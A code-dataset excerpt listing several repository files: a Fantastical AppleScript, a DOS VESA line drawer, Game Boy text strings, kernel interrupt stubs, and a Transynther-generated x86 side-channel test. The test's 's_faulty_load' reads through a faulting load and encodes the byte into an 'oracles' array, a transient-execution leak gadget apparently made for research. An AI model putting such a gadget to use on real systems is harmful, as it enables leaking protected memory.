max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
commands/apps/fantastical/create-event.applescript | afrazkhan/script-commands | 5 | 1445 | <filename>commands/apps/fantastical/create-event.applescript
#!/usr/bin/osascript
# @raycast.title Create Event
# @raycast.author <NAME>
# @raycast.authorURL https://github.com/robertcoopercode
# @raycast.description Create an event in Fantastical
# @raycast.schemaVersion 1
# @raycast.icon ./images/fantastical.png
# @raycast.mode silent
# @raycast.packageName Fantastical
# @raycast.argument1 { "type": "text", "placeholder": "query" }
on run argv
tell application "Fantastical"
parse sentence of (item 1 of argv)
end tell
end run |
dos_games/Ultimate Pong/VESA backup/ves.asm | QAston/fasm-2006 | 0 | 80575 | format MZ
use16
entry main:start
segment main
macro PgDown
{push bx
push dx
xor bx,bx
mov dx,[cs:winpos]
add dx,[cs:disp64k]
mov [cs:winpos],dx
call [cs:winfunc]
pop dx
pop bx}
macro PgUp
{push bx
push dx
xor bx,bx
mov dx,[cs:winpos]
sub dx,1
mov [cs:winpos],dx
call [cs:winfunc]
add di,[cs:granmask]
inc di
pop dx
pop bx}
start:
call GetVESA ;init variables related to VESA support
mov ax,4f02h ;\
mov bx,0101h ; VESA mode 101h (640x480x8bit)
int 10h ;/
mov ax,0a000h
mov ds,ax
mov eax,1h ;\
mov ebx,13h
mov ecx,20bh ;test Lin procedure
mov edx,1a1h
mov ebp,21h
call Lin ;/
xor ah,ah
int 16h
mov ax,4c00h
int 21h
GetVESA:
;This is just a hack to get the window-function address for a direct call,
;and to initialize variables based upon the window granularity
mov ax,4f01h ;\
mov cx,0101h
lea di,[buff] ; use VESA mode info call to
push cs ; get card stats for mode 101h
pop es
int 10h ;/
add di,4
mov ax,word [es:di] ;get window granularity (in KB)
shl ax,0ah
dec ax
mov [cs:granmask],ax ; = granularity - 1 (in Bytes)
not ax
clc
GVL1: inc [cs:bitshift] ;\
rcl ax,1 ; just a way to get vars I need :)
jc GVL1 ;/
add [cs:bitshift],0fh
inc ax
mov [disp64k],ax
add di,8
mov eax,dword [es:di] ;get address of window control
mov [cs:winfunc],eax
ret
Lin:
;Codesegment: Lin
;Inputs: eax: x1, ebx: y1, cx: x2, dx: y2, bp: color
;Destroys: ax, bx, cx, edx, si, edi
;Global: winfunc(dd),winpos(dw),page(dw),granmask(dw),disp64k(dw),bitshift(db)
;Assumes: eax, ebx have clear high words
cmp dx,bx ;\
ja LinS1 ; sort vertices
xchg ax,cx
xchg bx,dx ;/
LinS1: sub cx,ax ;\
ja LinS2 ; calculate deltax and
neg cx ; modify core loop based on sign
xor byte [cs:xinc1],28h ;/
LinS2: sub dx,bx ;deltay
neg dx
dec dx
shl bx,7 ;\
add ax,bx ; calc linear start address
lea edi,[eax+ebx*4] ;/
mov si,dx ;\
xor bx,bx
mov ax,[cs:page] ;\
shl ax,2 ; pageOffset=page*5*disp64K
add ax,[cs:page]
mul [cs:disp64k] ;/
push cx ; initialize CPU window
mov cl,[cs:bitshift] ; to top of line
shld edx,edi,cl
pop cx
add dx,ax
and di,[cs:granmask]
mov [cs:winpos],dx
call [cs:winfunc]
mov dx,si ;/
mov ax,bp
mov bx,dx
;ax:color, bx:err-accumulator, cx:deltaX, dx:vertical count,
;di:location in CPU window, si:deltaY, bp:color
LinL1: mov [di],al ;\
add bx,cx
jns LinS3
LinE1: add di,280h
jc LinR2 ; core routine to
inc dx ; render line
jnz LinL1
jmp LinOut
LinL2: mov [di],al ;\
xinc1: db 0
LinS3: add di,1 ; this deals with
jc LinR1 ; horizontal pixel runs
LinE2: add bx,si
jns LinL2 ;/
jmp LinE1 ;/
LinR1: js LinS7 ;\
PgDown ; move page down 64k
mov ax,bp
jmp LinE2
LinS7: PgUp ; or up by 'granularity'
mov ax,bp
jmp LinE2 ;/
LinR2: PgDown ;\
mov ax,bp ; move page down 64k
inc dx
jnz LinL1 ;/
LinOut: mov byte[cs:xinc1],0c7h
ret
winfunc dd ? ;fullpointer to VESA setwindow function
winpos dw ?;temp storage of CPU window position
granmask dw ? ;masks address within window granularity
disp64k dw ? ;number of 'granules' in 64k
page dw 0 ;video page (0,1,2 for 1MB video)
bitshift db 0 ;used to extract high order address bits
;\ for setting CPU window
buff: times 100h db ?
|
src/strings.asm | QuinnPainter/Renegade-Rush | 1 | 84721 | <reponame>QuinnPainter/Renegade-Rush<filename>src/strings.asm
INCLUDE "charmaps.inc"
SETCHARMAP MainMenuCharmap
SECTION "MainMenuStrings", ROM0
MM_PlayString:: DB "PLAY<E>"
MM_GarageString:: DB "GARAGE<E>"
MM_SettingsString:: DB "SETTINGS<E>"
MM_InfoString:: DB "INFO<E>"
MM_BestString:: DB "BEST: <metre><E>"
SECTION "InfoPageStrings", ROMX ; reminder - 20 chars per screen line
INFO_Line1:: DB "<E>"
DB " Renegade Rush<E>"
DB " GBcompo21 Demo<E>"
DB " by <NAME><E>"
DB "<E>"
DB " Copyright 2021<E>"
DB "<E>"
DB " - Credits -<E>"
DB "<E>"
DB " WitchFont8<E>"
DB " by Lavenfurr<E>"
DB " Spy Fighter Assets<E>"
DB " by Chasersgaming<E>"
DB " Misc Assets<E>"
DB " by MaterialFuture<E>"
DB "<E>"
DB " press B to return<E>", 1
SECTION "SettingsPageStrings", ROM0
SP_Header:: DB " - SETTINGS - <E>"
SP_Back:: DB " BACK<E>"
SP_SoundFX:: DB " SOUND FX<E>"
SP_Music:: DB " MUSIC<E>"
SP_ResetSave:: DB " RESET SAVE<E>"
SP_SelectionOn:: DB " <selOn><E>"
SP_SelectionOff:: DB " <selOff><E>"
SECTION "ResetSavegameStrings", ROMX
RS_Line1:: DB "<E>"
DB " - SAVEGAME RESET - <E>"
DB "<E>"
DB "<E>"
DB " This will erase<E>"
DB " all game progress<E>"
DB "<E>"
DB "<E>"
DB " Press START and A<E>"
DB " to confirm<E>"
DB "<E>"
DB "<E>"
DB " Press B to cancel<E>", 1
SECTION "GarageStrings", ROM0
GR_SpeedString:: DB "SPEED<E>"
GR_WeightString:: DB "WEIGHT<E>"
GR_MissileString:: DB "MISSILE<E>"
GR_SpecialString:: DB "SPECIAL<E>"
GR_BalanceString:: DB "BALANCE:<E>"
GR_CostString:: DB "COST:<E>"
GR_NoMoneyString1:: DB "Not<E>"
GR_NoMoneyString2:: DB "enough<E>"
GR_NoMoneyString3:: DB "money<E>"
SETCHARMAP PSwapCharmap
GR_SelectString:: DB "SELECT <E>"
GR_UpgradeString:: DB "UPGRADE<E>"
GR_BuyString:: DB "BUY <E>"
GR_BlankString:: DB " <E>" |
text/playerhouse.asm | ISSOtm/Aevilia-GB | 53 | 174272 | <reponame>ISSOtm/Aevilia-GB<gh_stars>10-100
SECTION "Player house text strings", ROMX
set_text_prefix PlayerHouseTV
dname
dstr 1
dline 0, "Wanna watch TV for"
dline 1, "for a bit?"
dline 2, "Yeah\, let's not."
dline 3, "Hey!"
dline 4, "I'm watching "
dline 5, "TV here!"
dline 6, "You're not"
dline 7, "transparent\, you"
dline 8, "know\, ",2,"!"
set_text_prefix PlayerHouseSiblingTVScript
dname 1
dline 0, "I know I'm"
dline 1, "bothering you\,"
dline 2, "but I'd like to"
dline 3, "stay a bit before"
dline 4, "leaving."
dline 5, "I'm sorry."
set_text_prefix PlayerHouseDontLeaveScript
dname 1
dline 0, "Wait!"
dline 1, "Um\, ",2,"..."
dline 2, "I know it was"
dline 3, "rude not to tell"
dline 4, "you before coming\,"
dline 5, "but..."
dline 6, "Can I spend some"
dline 7, "time with you?"
dline 8, "Really? Oh\, ",2,"\,"
dline 9, "you're the best!"
; 14
; 15
dline 20, "I really missed"
dline 21, "seeing you\, ",2,"."
dline 10, "..."
dline 11, "Look\, ",2,"\, I know"
dline 12, "that was rude\, but"
dline 13, "would you really"
dline 14, "turn me away?"
dline 15, "It's been almost a"
dline 16, "year\, now."
dline 17, "It's alright\,"
dline 18, "then?"
dline 19, "Thank you."
dline 22, 1," joined you!"
OkayNoChoice::
dstr "Okay"
dstr "No"
|
engine/events/sweet_scent.asm | Dev727/ancientplatinum | 28 | 244911 | <filename>engine/events/sweet_scent.asm
SweetScentFromMenu:
ld hl, .SweetScent
call QueueScript
ld a, $1
ld [wFieldMoveSucceeded], a
ret
.SweetScent:
reloadmappart
special UpdateTimePals
callasm GetPartyNick
writetext UnknownText_0x50726
waitbutton
callasm SweetScentEncounter
iffalse SweetScentNothing
checkflag ENGINE_BUG_CONTEST_TIMER
iftrue .BugCatchingContest
randomwildmon
startbattle
reloadmapafterbattle
end
.BugCatchingContest:
farsjump BugCatchingContestBattleScript
SweetScentNothing:
writetext UnknownText_0x5072b
waitbutton
closetext
end
SweetScentEncounter:
farcall CanUseSweetScent
jr nc, .no_battle
ld hl, wStatusFlags2
bit STATUSFLAGS2_BUG_CONTEST_TIMER_F, [hl]
jr nz, .not_in_bug_contest
farcall GetMapEncounterRate
ld a, b
and a
jr z, .no_battle
farcall ChooseWildEncounter
jr nz, .no_battle
jr .start_battle
.not_in_bug_contest
farcall ChooseWildEncounter_BugContest
.start_battle
ld a, $1
ld [wScriptVar], a
ret
.no_battle
xor a
ld [wScriptVar], a
ld [wBattleType], a
ret
UnknownText_0x50726:
; used SWEET SCENT!
text_far UnknownText_0x1c0b03
text_end
UnknownText_0x5072b:
; Looks like there's nothing here…
text_far UnknownText_0x1c0b1a
text_end
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_881.asm | ljhsiun2/medusa | 9 | 160652 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x79b3, %rsi
lea addresses_UC_ht+0x2ecd, %rdi
nop
nop
nop
and %rbp, %rbp
mov $39, %rcx
rep movsl
cmp %r15, %r15
lea addresses_WT_ht+0xa3b3, %rsi
lea addresses_normal_ht+0xceb3, %rdi
nop
nop
sub $20048, %r8
mov $91, %rcx
rep movsb
nop
inc %r8
lea addresses_normal_ht+0x141eb, %rsi
lea addresses_A_ht+0xf0b3, %rdi
nop
nop
nop
nop
sub $63254, %rax
mov $77, %rcx
rep movsb
nop
nop
dec %rsi
lea addresses_A_ht+0xb013, %rdi
nop
nop
nop
nop
nop
and %rbp, %rbp
movw $0x6162, (%rdi)
nop
nop
nop
nop
nop
and $33651, %r15
lea addresses_normal_ht+0xb413, %rsi
lea addresses_UC_ht+0x159b3, %rdi
clflush (%rsi)
nop
nop
nop
nop
inc %r15
mov $42, %rcx
rep movsw
nop
nop
sub $11964, %rdi
lea addresses_UC_ht+0x9c5e, %r15
nop
nop
nop
nop
nop
and $45951, %r8
movl $0x61626364, (%r15)
nop
nop
and %rsi, %rsi
lea addresses_D_ht+0xb9b3, %rsi
lea addresses_WT_ht+0xaf87, %rdi
nop
nop
nop
cmp $58604, %rbx
mov $36, %rcx
rep movsw
nop
nop
xor $34578, %rbx
lea addresses_UC_ht+0x11a73, %rcx
nop
nop
sub $11466, %rbp
mov $0x6162636465666768, %rbx
movq %rbx, %xmm4
movups %xmm4, (%rcx)
nop
nop
nop
add %rbp, %rbp
lea addresses_UC_ht+0x19493, %rsi
xor %r8, %r8
and $0xffffffffffffffc0, %rsi
movntdqa (%rsi), %xmm2
vpextrq $0, %xmm2, %rax
nop
nop
nop
nop
nop
inc %r8
lea addresses_WC_ht+0x19db3, %rcx
sub $28372, %rax
movb $0x61, (%rcx)
and %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_UC+0x11b3, %r12
and $37859, %rax
movb $0x51, (%r12)
nop
nop
sub %r12, %r12
// Store
lea addresses_WC+0x106e3, %rdi
inc %rbp
movw $0x5152, (%rdi)
nop
nop
nop
nop
nop
dec %r12
// Store
lea addresses_WC+0x1fcb3, %r13
nop
nop
nop
xor %rdi, %rdi
movb $0x51, (%r13)
nop
nop
nop
sub $31118, %r13
// Store
lea addresses_normal+0x18bb3, %rax
nop
dec %r13
movb $0x51, (%rax)
nop
nop
nop
nop
nop
and %rdx, %rdx
// REPMOV
lea addresses_D+0x31b3, %rsi
lea addresses_D+0xf2b5, %rdi
nop
cmp $6305, %rax
mov $70, %rcx
rep movsq
nop
nop
nop
nop
nop
inc %rdx
// Faulty Load
lea addresses_WC+0x51b3, %rcx
nop
and %rbp, %rbp
movb (%rcx), %al
lea oracles, %rbp
and $0xff, %rax
shlq $12, %rax
mov (%rbp,%rax,1), %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_D', 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
kernel/src/interrupts/handlers.asm | inonitz/bruhOS | 2 | 241367 | [bits 64]
; interrupt handler for irq's and exceptions.
; gcc cannot be used because it fucks with the handler addresses
; (-mgeneral-regs-only uses 16bit registers => 16bit addresses instead of 64)
; so, this is an assembly stub that calls the appropriate interrupt handler.
%macro push_gpregs 0
push rax
push rcx
push rdx
push rsi
push rdi
push r8
push r9
push r10
push r11
mov rdi, cr0
push rdi
mov rdi, cr2
push rdi
mov rdi, cr3
push rdi
mov rdi, cr4
push rdi
mov rdi, cr8
push rdi
%endmacro
%macro pop_gpregs 0
pop rax ; doesn't matter which register I use, =
pop rax ; as long as I retrieve it to its original state.
pop rax ; Popping the CRn register that I pushed previously.
pop rax ; ^^^^
pop rax ; ^^^^
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rdx
pop rcx
pop rax
%endmacro
extern interrupt_handler
%macro interrupt_handler_with_ecode_gate 1
global ie_handler%1
ie_handler%1:
push qword %1
push_gpregs
mov rdi, rsp
call interrupt_handler
pop_gpregs
add rsp, 16
iretq
%endmacro
%macro interrupt_handler_no_ecode_gate 1
global inoe_handler%1
inoe_handler%1:
push qword 0xffff
push qword %1
push_gpregs
mov rdi, rsp
call interrupt_handler
pop_gpregs
add rsp, 16
iretq
%endmacro
; %macro push_simdregs 0
; sub rsp 512
; fxsave [rsp]
; %endmacro
; %macro pop_simdregs 0
; fxrstor [rsp]
; add rsp 512
; %endmacro
; global test_handler
; test_handler:
; push qword 0xffff
; push qword 0x69
; push_gpregs
; mov rdi, rsp
; call interrupt_handler
; pop_gpregs
; add rsp, 16
; iretq
; table is in https://wiki.osdev.org/Exceptions
interrupt_handler_no_ecode_gate 0
interrupt_handler_no_ecode_gate 1
interrupt_handler_no_ecode_gate 2
interrupt_handler_no_ecode_gate 3
interrupt_handler_no_ecode_gate 4
interrupt_handler_no_ecode_gate 5
interrupt_handler_no_ecode_gate 6
interrupt_handler_no_ecode_gate 7
interrupt_handler_with_ecode_gate 8
interrupt_handler_with_ecode_gate 10
interrupt_handler_with_ecode_gate 11
interrupt_handler_with_ecode_gate 12
interrupt_handler_with_ecode_gate 13
interrupt_handler_with_ecode_gate 14
interrupt_handler_no_ecode_gate 16
interrupt_handler_with_ecode_gate 17
interrupt_handler_no_ecode_gate 18
interrupt_handler_no_ecode_gate 19
interrupt_handler_no_ecode_gate 20
interrupt_handler_with_ecode_gate 30
interrupt_handler_no_ecode_gate 32
interrupt_handler_no_ecode_gate 33
interrupt_handler_no_ecode_gate 34
interrupt_handler_no_ecode_gate 35
interrupt_handler_no_ecode_gate 36
interrupt_handler_no_ecode_gate 37
interrupt_handler_no_ecode_gate 38
interrupt_handler_no_ecode_gate 39
interrupt_handler_no_ecode_gate 40
interrupt_handler_no_ecode_gate 41
interrupt_handler_no_ecode_gate 42
interrupt_handler_no_ecode_gate 43
interrupt_handler_no_ecode_gate 44
interrupt_handler_no_ecode_gate 45
interrupt_handler_no_ecode_gate 46
interrupt_handler_no_ecode_gate 47
interrupt_handler_no_ecode_gate 48
interrupt_handler_no_ecode_gate 49
interrupt_handler_no_ecode_gate 50
interrupt_handler_no_ecode_gate 51
interrupt_handler_no_ecode_gate 52
interrupt_handler_no_ecode_gate 53
interrupt_handler_no_ecode_gate 54
interrupt_handler_no_ecode_gate 55
interrupt_handler_no_ecode_gate 56
interrupt_handler_no_ecode_gate 57
interrupt_handler_no_ecode_gate 58
interrupt_handler_no_ecode_gate 59
interrupt_handler_no_ecode_gate 60
interrupt_handler_no_ecode_gate 61
interrupt_handler_no_ecode_gate 62
interrupt_handler_no_ecode_gate 63
interrupt_handler_no_ecode_gate 64
interrupt_handler_no_ecode_gate 65
interrupt_handler_no_ecode_gate 66
interrupt_handler_no_ecode_gate 67
interrupt_handler_no_ecode_gate 68
interrupt_handler_no_ecode_gate 69
interrupt_handler_no_ecode_gate 70
interrupt_handler_no_ecode_gate 71
interrupt_handler_no_ecode_gate 72
interrupt_handler_no_ecode_gate 73
interrupt_handler_no_ecode_gate 74
interrupt_handler_no_ecode_gate 75
interrupt_handler_no_ecode_gate 76
interrupt_handler_no_ecode_gate 77
interrupt_handler_no_ecode_gate 78
interrupt_handler_no_ecode_gate 79
interrupt_handler_no_ecode_gate 80
interrupt_handler_no_ecode_gate 81
interrupt_handler_no_ecode_gate 82
interrupt_handler_no_ecode_gate 83
interrupt_handler_no_ecode_gate 84
interrupt_handler_no_ecode_gate 85
interrupt_handler_no_ecode_gate 86
interrupt_handler_no_ecode_gate 87
interrupt_handler_no_ecode_gate 88
interrupt_handler_no_ecode_gate 89
interrupt_handler_no_ecode_gate 90
interrupt_handler_no_ecode_gate 91
interrupt_handler_no_ecode_gate 92
interrupt_handler_no_ecode_gate 93
interrupt_handler_no_ecode_gate 94
interrupt_handler_no_ecode_gate 95
interrupt_handler_no_ecode_gate 96
interrupt_handler_no_ecode_gate 97
interrupt_handler_no_ecode_gate 98
interrupt_handler_no_ecode_gate 99
interrupt_handler_no_ecode_gate 100
interrupt_handler_no_ecode_gate 101
interrupt_handler_no_ecode_gate 102
interrupt_handler_no_ecode_gate 103
interrupt_handler_no_ecode_gate 104
interrupt_handler_no_ecode_gate 105
interrupt_handler_no_ecode_gate 106
interrupt_handler_no_ecode_gate 107
interrupt_handler_no_ecode_gate 108
interrupt_handler_no_ecode_gate 109
interrupt_handler_no_ecode_gate 110
interrupt_handler_no_ecode_gate 111
interrupt_handler_no_ecode_gate 112
interrupt_handler_no_ecode_gate 113
interrupt_handler_no_ecode_gate 114
interrupt_handler_no_ecode_gate 115
interrupt_handler_no_ecode_gate 116
interrupt_handler_no_ecode_gate 117
interrupt_handler_no_ecode_gate 118
interrupt_handler_no_ecode_gate 119
interrupt_handler_no_ecode_gate 120
interrupt_handler_no_ecode_gate 121
interrupt_handler_no_ecode_gate 122
interrupt_handler_no_ecode_gate 123
interrupt_handler_no_ecode_gate 124
interrupt_handler_no_ecode_gate 125
interrupt_handler_no_ecode_gate 126
interrupt_handler_no_ecode_gate 127
interrupt_handler_no_ecode_gate 128
interrupt_handler_no_ecode_gate 129
interrupt_handler_no_ecode_gate 130
interrupt_handler_no_ecode_gate 131
interrupt_handler_no_ecode_gate 132
interrupt_handler_no_ecode_gate 133
interrupt_handler_no_ecode_gate 134
interrupt_handler_no_ecode_gate 135
interrupt_handler_no_ecode_gate 136
interrupt_handler_no_ecode_gate 137
interrupt_handler_no_ecode_gate 138
interrupt_handler_no_ecode_gate 139
interrupt_handler_no_ecode_gate 140
interrupt_handler_no_ecode_gate 141
interrupt_handler_no_ecode_gate 142
interrupt_handler_no_ecode_gate 143
interrupt_handler_no_ecode_gate 144
interrupt_handler_no_ecode_gate 145
interrupt_handler_no_ecode_gate 146
interrupt_handler_no_ecode_gate 147
interrupt_handler_no_ecode_gate 148
interrupt_handler_no_ecode_gate 149
interrupt_handler_no_ecode_gate 150
interrupt_handler_no_ecode_gate 151
interrupt_handler_no_ecode_gate 152
interrupt_handler_no_ecode_gate 153
interrupt_handler_no_ecode_gate 154
interrupt_handler_no_ecode_gate 155
interrupt_handler_no_ecode_gate 156
interrupt_handler_no_ecode_gate 157
interrupt_handler_no_ecode_gate 158
interrupt_handler_no_ecode_gate 159
interrupt_handler_no_ecode_gate 160
interrupt_handler_no_ecode_gate 161
interrupt_handler_no_ecode_gate 162
interrupt_handler_no_ecode_gate 163
interrupt_handler_no_ecode_gate 164
interrupt_handler_no_ecode_gate 165
interrupt_handler_no_ecode_gate 166
interrupt_handler_no_ecode_gate 167
interrupt_handler_no_ecode_gate 168
interrupt_handler_no_ecode_gate 169
interrupt_handler_no_ecode_gate 170
interrupt_handler_no_ecode_gate 171
interrupt_handler_no_ecode_gate 172
interrupt_handler_no_ecode_gate 173
interrupt_handler_no_ecode_gate 174
interrupt_handler_no_ecode_gate 175
interrupt_handler_no_ecode_gate 176
interrupt_handler_no_ecode_gate 177
interrupt_handler_no_ecode_gate 178
interrupt_handler_no_ecode_gate 179
interrupt_handler_no_ecode_gate 180
interrupt_handler_no_ecode_gate 181
interrupt_handler_no_ecode_gate 182
interrupt_handler_no_ecode_gate 183
interrupt_handler_no_ecode_gate 184
interrupt_handler_no_ecode_gate 185
interrupt_handler_no_ecode_gate 186
interrupt_handler_no_ecode_gate 187
interrupt_handler_no_ecode_gate 188
interrupt_handler_no_ecode_gate 189
interrupt_handler_no_ecode_gate 190
interrupt_handler_no_ecode_gate 191
interrupt_handler_no_ecode_gate 192
interrupt_handler_no_ecode_gate 193
interrupt_handler_no_ecode_gate 194
interrupt_handler_no_ecode_gate 195
interrupt_handler_no_ecode_gate 196
interrupt_handler_no_ecode_gate 197
interrupt_handler_no_ecode_gate 198
interrupt_handler_no_ecode_gate 199
interrupt_handler_no_ecode_gate 200
interrupt_handler_no_ecode_gate 201
interrupt_handler_no_ecode_gate 202
interrupt_handler_no_ecode_gate 203
interrupt_handler_no_ecode_gate 204
interrupt_handler_no_ecode_gate 205
interrupt_handler_no_ecode_gate 206
interrupt_handler_no_ecode_gate 207
interrupt_handler_no_ecode_gate 208
interrupt_handler_no_ecode_gate 209
interrupt_handler_no_ecode_gate 210
interrupt_handler_no_ecode_gate 211
interrupt_handler_no_ecode_gate 212
interrupt_handler_no_ecode_gate 213
interrupt_handler_no_ecode_gate 214
interrupt_handler_no_ecode_gate 215
interrupt_handler_no_ecode_gate 216
interrupt_handler_no_ecode_gate 217
interrupt_handler_no_ecode_gate 218
interrupt_handler_no_ecode_gate 219
interrupt_handler_no_ecode_gate 220
interrupt_handler_no_ecode_gate 221
interrupt_handler_no_ecode_gate 222
interrupt_handler_no_ecode_gate 223
interrupt_handler_no_ecode_gate 224
interrupt_handler_no_ecode_gate 225
interrupt_handler_no_ecode_gate 226
interrupt_handler_no_ecode_gate 227
interrupt_handler_no_ecode_gate 228
interrupt_handler_no_ecode_gate 229
interrupt_handler_no_ecode_gate 230
interrupt_handler_no_ecode_gate 231
interrupt_handler_no_ecode_gate 232
interrupt_handler_no_ecode_gate 233
interrupt_handler_no_ecode_gate 234
interrupt_handler_no_ecode_gate 235
interrupt_handler_no_ecode_gate 236
interrupt_handler_no_ecode_gate 237
interrupt_handler_no_ecode_gate 238
interrupt_handler_no_ecode_gate 239
